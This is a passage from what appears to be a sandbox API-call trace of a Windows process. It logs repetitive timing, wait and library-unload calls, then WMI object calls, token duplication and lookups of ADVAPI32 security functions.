(_Block=0xef020) [0081.983] FreeLibrary (hLibModule=0x7feffcb0000) returned 1 [0081.984] free (_Block=0xf3750) [0081.984] free (_Block=0xed2c0) [0081.984] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x59d4c700, dwHighDateTime=0x1d9eb0c)) [0081.985] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x59d4c700, dwHighDateTime=0x1d9eb0c)) [0081.985] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x59d4c700, dwHighDateTime=0x1d9eb0c)) [0081.985] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0082.968] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5a6abda0, dwHighDateTime=0x1d9eb0c)) [0082.969] free (_Block=0xef040) [0082.969] FreeLibrary (hLibModule=0x7fefced0000) returned 1 [0082.971] free (_Block=0xed270) [0082.973] free (_Block=0xed400) [0082.973] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5a6d1f00, dwHighDateTime=0x1d9eb0c)) [0082.974] free (_Block=0xef020) [0082.974] FreeLibrary (hLibModule=0x7feffcb0000) returned 1 [0082.974] free (_Block=0xf4740) [0082.975] free (_Block=0xed2c0) [0082.975] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0083.052] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5a7905e0, dwHighDateTime=0x1d9eb0c)) [0083.052] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5a7905e0, dwHighDateTime=0x1d9eb0c)) [0083.052] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5a7905e0, dwHighDateTime=0x1d9eb0c)) [0083.052] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0083.502] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5abe0dc0, dwHighDateTime=0x1d9eb0c)) [0083.502] free (_Block=0xeef60) [0083.502] FreeLibrary (hLibModule=0x7fefced0000) returned 1 [0083.503] free (_Block=0xed2c0) [0083.505] free (_Block=0xed400) [0083.505] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5abe0dc0, dwHighDateTime=0x1d9eb0c)) [0083.505] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5abe0dc0, dwHighDateTime=0x1d9eb0c)) [0083.505] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5abe0dc0, dwHighDateTime=0x1d9eb0c)) [0083.506] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0083.546] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5ac531e0, dwHighDateTime=0x1d9eb0c)) [0083.546] free (_Block=0xef020) [0083.546] FreeLibrary (hLibModule=0x7feffcb0000) returned 1 [0083.547] free (_Block=0xf4740) [0083.548] free (_Block=0xed270) [0083.548] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5ac531e0, dwHighDateTime=0x1d9eb0c)) [0083.548] free (_Block=0xeef00) [0083.548] FreeLibrary (hLibModule=0x7fefced0000) returned 1 [0083.550] free (_Block=0xed400) [0083.551] free (_Block=0xed2c0) [0083.551] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0084.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5b188200, dwHighDateTime=0x1d9eb0c)) [0084.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5b188200, dwHighDateTime=0x1d9eb0c)) [0084.101] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5b188200, dwHighDateTime=0x1d9eb0c)) [0084.101] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0084.225] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5b2b8d00, dwHighDateTime=0x1d9eb0c)) [0084.226] free (_Block=0xeef00) [0084.226] FreeLibrary (hLibModule=0x7feffcb0000) returned 1 [0084.226] free (_Block=0xf4740) [0084.227] free (_Block=0xed2c0) [0084.227] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5b2b8d00, dwHighDateTime=0x1d9eb0c)) [0084.227] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5b2b8d00, dwHighDateTime=0x1d9eb0c)) [0084.227] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5b2b8d00, dwHighDateTime=0x1d9eb0c)) [0084.227] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0084.995] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5ba03060, dwHighDateTime=0x1d9eb0c)) [0084.995] free (_Block=0xef0a0) [0084.995] FreeLibrary (hLibModule=0x7fefced0000) returned 1 [0084.998] free (_Block=0xed400) [0084.999] free (_Block=0xed270) [0084.999] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5ba291c0, dwHighDateTime=0x1d9eb0c)) [0084.999] free (_Block=0xeef00) [0084.999] FreeLibrary (hLibModule=0x7feffcb0000) returned 1 [0084.999] free (_Block=0xf4740) [0085.000] free (_Block=0xed2c0) [0085.000] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0085.079] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5bae78a0, dwHighDateTime=0x1d9eb0c)) [0085.079] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5bae78a0, dwHighDateTime=0x1d9eb0c)) [0085.079] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5bae78a0, dwHighDateTime=0x1d9eb0c)) [0085.079] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0085.738] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5c127260, dwHighDateTime=0x1d9eb0c)) [0085.738] free (_Block=0xef040) [0085.738] FreeLibrary (hLibModule=0x7fefced0000) returned 1 [0085.740] free (_Block=0xed2c0) [0085.740] free (_Block=0xed270) [0085.740] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5c127260, dwHighDateTime=0x1d9eb0c)) [0085.741] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5c127260, dwHighDateTime=0x1d9eb0c)) [0085.741] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5c127260, dwHighDateTime=0x1d9eb0c)) [0085.741] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0085.829] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5c20baa0, dwHighDateTime=0x1d9eb0c)) [0085.829] free (_Block=0xeef00) [0085.829] FreeLibrary (hLibModule=0x7feffcb0000) returned 1 [0085.830] free (_Block=0xf4740) [0085.831] free (_Block=0xed400) [0085.831] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5c20baa0, dwHighDateTime=0x1d9eb0c)) [0085.831] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5c20baa0, dwHighDateTime=0x1d9eb0c)) [0085.831] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5c20baa0, dwHighDateTime=0x1d9eb0c)) [0085.831] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0086.511] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5c897720, dwHighDateTime=0x1d9eb0c)) [0086.511] free (_Block=0xeef20) [0086.511] FreeLibrary (hLibModule=0x7fefced0000) returned 1 [0086.514] free (_Block=0xed270) [0086.515] free (_Block=0xed2c0) [0086.515] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5c897720, dwHighDateTime=0x1d9eb0c)) [0086.515] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5c897720, dwHighDateTime=0x1d9eb0c)) [0086.515] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5c897720, dwHighDateTime=0x1d9eb0c)) [0086.516] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0086.589] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5c955e00, dwHighDateTime=0x1d9eb0c)) [0086.590] free (_Block=0xeef00) [0086.590] FreeLibrary (hLibModule=0x7feffcb0000) returned 1 [0086.590] free (_Block=0xf4740) [0086.591] free (_Block=0xed400) [0086.591] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5c955e00, dwHighDateTime=0x1d9eb0c)) [0086.591] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5c955e00, dwHighDateTime=0x1d9eb0c)) [0086.591] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5c955e00, dwHighDateTime=0x1d9eb0c)) [0086.591] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0087.345] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5d07a000, dwHighDateTime=0x1d9eb0c)) [0087.345] free (_Block=0xeef60) [0087.345] FreeLibrary (hLibModule=0x7fefced0000) returned 1 [0087.347] free (_Block=0xed2c0) [0087.349] free (_Block=0xed270) [0087.349] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5d07a000, dwHighDateTime=0x1d9eb0c)) [0087.349] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5d07a000, dwHighDateTime=0x1d9eb0c)) [0087.349] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5d07a000, dwHighDateTime=0x1d9eb0c)) [0087.349] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0087.413] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5d112580, dwHighDateTime=0x1d9eb0c)) [0087.413] free (_Block=0xeef00) [0087.413] FreeLibrary (hLibModule=0x7feffcb0000) returned 1 [0087.414] free (_Block=0xf3750) [0087.415] free (_Block=0xed400) [0087.416] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5d1386e0, dwHighDateTime=0x1d9eb0c)) [0087.416] free (_Block=0xef020) [0087.416] FreeLibrary (hLibModule=0x7fefced0000) returned 1 [0087.417] free (_Block=0xed270) [0087.418] free (_Block=0xed2c0) [0087.418] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0088.000] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5d6b99c0, dwHighDateTime=0x1d9eb0c)) [0088.000] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5d6b99c0, dwHighDateTime=0x1d9eb0c)) [0088.001] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5d6b99c0, dwHighDateTime=0x1d9eb0c)) [0088.001] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0088.069] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5d751f40, dwHighDateTime=0x1d9eb0c)) [0088.069] free (_Block=0xef020) [0088.069] FreeLibrary (hLibModule=0x7feffcb0000) returned 1 [0088.070] free (_Block=0xf3750) [0088.070] free (_Block=0xed2c0) [0088.070] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5d7780a0, dwHighDateTime=0x1d9eb0c)) [0088.070] free (_Block=0xef0a0) [0088.071] FreeLibrary (hLibModule=0x7fefced0000) returned 1 [0088.072] free (_Block=0xed270) [0088.073] free (_Block=0xed400) [0088.073] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0088.714] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5dd91900, dwHighDateTime=0x1d9eb0c)) [0088.714] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5dd91900, dwHighDateTime=0x1d9eb0c)) [0088.714] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5dd91900, dwHighDateTime=0x1d9eb0c)) [0088.714] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0088.780] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5de29e80, dwHighDateTime=0x1d9eb0c)) [0088.780] free (_Block=0xef0a0) [0088.780] FreeLibrary (hLibModule=0x7feffcb0000) returned 1 [0088.781] free (_Block=0xf3750) [0088.781] free (_Block=0xed400) [0088.781] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5de29e80, dwHighDateTime=0x1d9eb0c)) [0088.782] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5de29e80, dwHighDateTime=0x1d9eb0c)) [0088.782] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5de29e80, dwHighDateTime=0x1d9eb0c)) [0088.782] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0089.549] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5e5741e0, dwHighDateTime=0x1d9eb0c)) [0089.549] free (_Block=0xef040) [0089.549] FreeLibrary (hLibModule=0x7fefced0000) returned 1 [0089.552] free (_Block=0xed270) [0089.553] free (_Block=0xed2c0) [0089.553] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5e59a340, dwHighDateTime=0x1d9eb0c)) [0089.553] free (_Block=0xef0a0) [0089.553] FreeLibrary (hLibModule=0x7feffcb0000) returned 1 [0089.554] free (_Block=0xf4740) [0089.555] free (_Block=0xed400) [0089.555] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0089.619] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5e6328c0, dwHighDateTime=0x1d9eb0c)) [0089.619] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5e6328c0, dwHighDateTime=0x1d9eb0c)) [0089.619] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5e6328c0, dwHighDateTime=0x1d9eb0c)) [0089.619] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0090.284] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5ec4c120, dwHighDateTime=0x1d9eb0c)) [0090.284] free (_Block=0xeef60) [0090.284] FreeLibrary (hLibModule=0x7fefced0000) returned 1 [0090.288] free (_Block=0xed400) [0090.288] free (_Block=0xed2c0) [0090.288] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5ec72280, dwHighDateTime=0x1d9eb0c)) [0090.288] free (_Block=0xef0a0) [0090.288] FreeLibrary (hLibModule=0x7feffcb0000) returned 1 [0090.289] free (_Block=0xf4740) [0090.289] free (_Block=0xed270) [0090.290] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) returned 0x0 [0090.331] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5ecbe540, dwHighDateTime=0x1d9eb0c)) [0090.331] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5ecbe540, dwHighDateTime=0x1d9eb0c)) [0090.332] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5ecbe540, dwHighDateTime=0x1d9eb0c)) [0090.332] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0091.052] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5f3bc5e0, dwHighDateTime=0x1d9eb0c)) [0091.052] free (_Block=0xeef00) [0091.052] FreeLibrary (hLibModule=0x7fefced0000) returned 1 [0091.056] free (_Block=0xed270) [0091.057] free (_Block=0xed2c0) [0091.057] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5f3bc5e0, dwHighDateTime=0x1d9eb0c)) [0091.057] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5f3bc5e0, dwHighDateTime=0x1d9eb0c)) [0091.057] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5f3bc5e0, dwHighDateTime=0x1d9eb0c)) [0091.057] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0x1, bAlertable=0) returned 0x0 [0091.097] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5f42ea00, dwHighDateTime=0x1d9eb0c)) [0091.097] free (_Block=0xef0a0) [0091.097] FreeLibrary (hLibModule=0x7feffcb0000) returned 1 [0091.098] free (_Block=0xf4740) [0091.099] free (_Block=0xed400) [0091.099] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xfef768 | out: lpSystemTimeAsFileTime=0xfef768*(dwLowDateTime=0x5f42ea00, dwHighDateTime=0x1d9eb0c)) [0091.099] free (_Block=0xeef20) [0091.099] FreeLibrary (hLibModule=0x7fefced0000) returned 1 [0091.100] free (_Block=0xed2c0) [0091.100] free (_Block=0xed270) [0091.101] WaitForSingleObjectEx (hHandle=0x1f0, dwMilliseconds=0xffffffff, bAlertable=0) Thread: id = 80 os_tid = 0xa70 Thread: id = 81 os_tid = 0xa6c Thread: id = 82 os_tid = 0xa68 [0056.979] SetLastError (dwErrCode=0x0) [0056.979] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x0, pcchLanguagesBuffer=0xebe3e0) returned 1 [0056.979] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da80 [0056.979] SetLastError (dwErrCode=0x0) [0056.979] GetThreadPreferredUILanguages (in: dwFlags=0x40, pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0 | out: pulNumLanguages=0xebe4d8, pwszLanguagesBuffer=0x31da80, pcchLanguagesBuffer=0xebe3e0) returned 1 [0056.979] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x8) returned 0x31da90 [0056.979] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x31da80 | out: hHeap=0x2e0000) returned 1 [0056.980] RtlAllocateHeap (HeapHandle=0x2e0000, Flags=0x0, Size=0x14) returned 0x34f510 [0056.980] SetThreadPreferredUILanguages (in: dwFlags=0x8, pwszLanguagesBuffer=0x34f510, pulNumLanguages=0xebe4d8 | out: pulNumLanguages=0xebe4d8) returned 1 [0056.980] HeapFree (in: hHeap=0x2e0000, dwFlags=0x0, lpMem=0x34f510 | out: hHeap=0x2e0000) returned 1 [0056.984] _wcsicmp (_String1="Create", _String2="Create") returned 0 [0056.985] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0056.985] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0056.986] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0056.986] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0056.986] ?AddRef@CWbemObject@@UEAAKXZ () returned 0x2 [0056.986] ?Release@CWbemObject@@UEAAKXZ () returned 0x1 [0056.990] memcpy (in: _Dst=0xebdcf0, _Src=0xebdc70, _Size=0x68 | out: _Dst=0xebdcf0) returned 0xebdcf0 [0056.990] GetCurrentThread () returned 0xfffffffffffffffe [0056.990] OpenThreadToken (in: ThreadHandle=0xfffffffffffffffe, DesiredAccess=0xb, OpenAsSelf=1, TokenHandle=0xebce60 | out: TokenHandle=0xebce60*=0x2d4) returned 1 [0056.990] malloc (_Size=0xd8) returned 0xd0a00 [0056.990] LoadLibraryW (lpLibFileName="ADVAPI32.DLL") returned 0x7feffcb0000 [0056.991] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaEnumerateTrustedDomains") returned 0x7feffcf8200 [0056.991] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaQueryInformationPolicy") returned 0x7feffcd20b0 [0056.991] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaNtStatusToWinError") returned 0x7feffcf7e40 [0056.991] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaFreeMemory") returned 0x7feffcbe390 [0056.991] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaOpenPolicy") returned 0x7feffcd0b40 [0056.991] GetProcAddress (hModule=0x7feffcb0000, lpProcName="LsaClose") returned 0x7feffcd2040 [0056.992] GetProcAddress (hModule=0x7feffcb0000, lpProcName="QueryServiceStatusEx") returned 0x7feffcb7004 [0056.992] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DuplicateTokenEx") returned 0x7feffcbd310 [0056.992] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetSecurityDescriptorControl") returned 0x7feffcd3fe4 [0056.992] GetProcAddress (hModule=0x7feffcb0000, lpProcName="ConvertToAutoInheritPrivateObjectSecurity") returned 0x7feffceb828 [0056.992] GetProcAddress (hModule=0x7feffcb0000, lpProcName="DestroyPrivateObjectSecurity") returned 0x7feffcbf924 [0056.992] GetProcAddress (hModule=0x7feffcb0000, lpProcName="CheckTokenMembership") returned 0x7feffcbd980 [0056.992] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessAllowedObjectAce") returned 0x7feffceba94 [0056.993] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAccessDeniedObjectAce") returned 0x7feffceba30 [0056.993] GetProcAddress (hModule=0x7feffcb0000, lpProcName="AddAuditAccessObjectAce") returned 0x7feffceb9a8 [0056.993] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoW") returned 0x7feffcb89a0 [0056.993] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetNamedSecurityInfoW") returned 0x7feffcbf990 [0056.993] GetProcAddress (hModule=0x7feffcb0000, lpProcName="SetNamedSecurityInfoExW") returned 0x7feffd0dc00 [0056.993] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetExplicitEntriesFromAclW") returned 0x7feffcf56a0 [0056.993] GetProcAddress (hModule=0x7feffcb0000, lpProcName="GetEffectiveRightsFromAclW") returned 0x7feffcf56f0 [0056.993] malloc (_Size=0x18) returned 0xef040 [0056.994] DuplicateTokenEx (in: hExistingToken=0x2d4, dwDesiredAccess=0xb, lpTokenAttributes=0x0, ImpersonationLevel=0x2, TokenType=0x9d1400000001, phNewToken=0xebce68 | out: phNewToken=0xebce68*=0x2e0) returned 1 [0056.994] malloc (_Size=0x48) returned 0xed270 [0056.994] GetSystemTimeAsFileTime (in: lpSystemTimeAsFileTime=0xebcc38 | out: lpSystemTimeAsFileTime=0xebcc38*(dwLowDateTime=0x4b1ca660, dwHighDateTime=0x1d9eb0c)) [0056.994] SetEvent (hEvent=0x1f0) returned 1 [0057.005] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0x0, TokenInformationLength=0x0, ReturnLength=0xebcd80 | out: TokenInformation=0x0, ReturnLength=0xebcd80) returned 0 [0057.005] GetLastError () returned 0x7a [0057.005] malloc (_Size=0x2c) returned 0xee200 [0057.005] GetTokenInformation (in: TokenHandle=0x2d4, TokenInformationClass=0x1, TokenInformation=0xee200, TokenInformationLength=0x2c, ReturnLength=0xebcd80 | out: TokenInformation=0xee200, 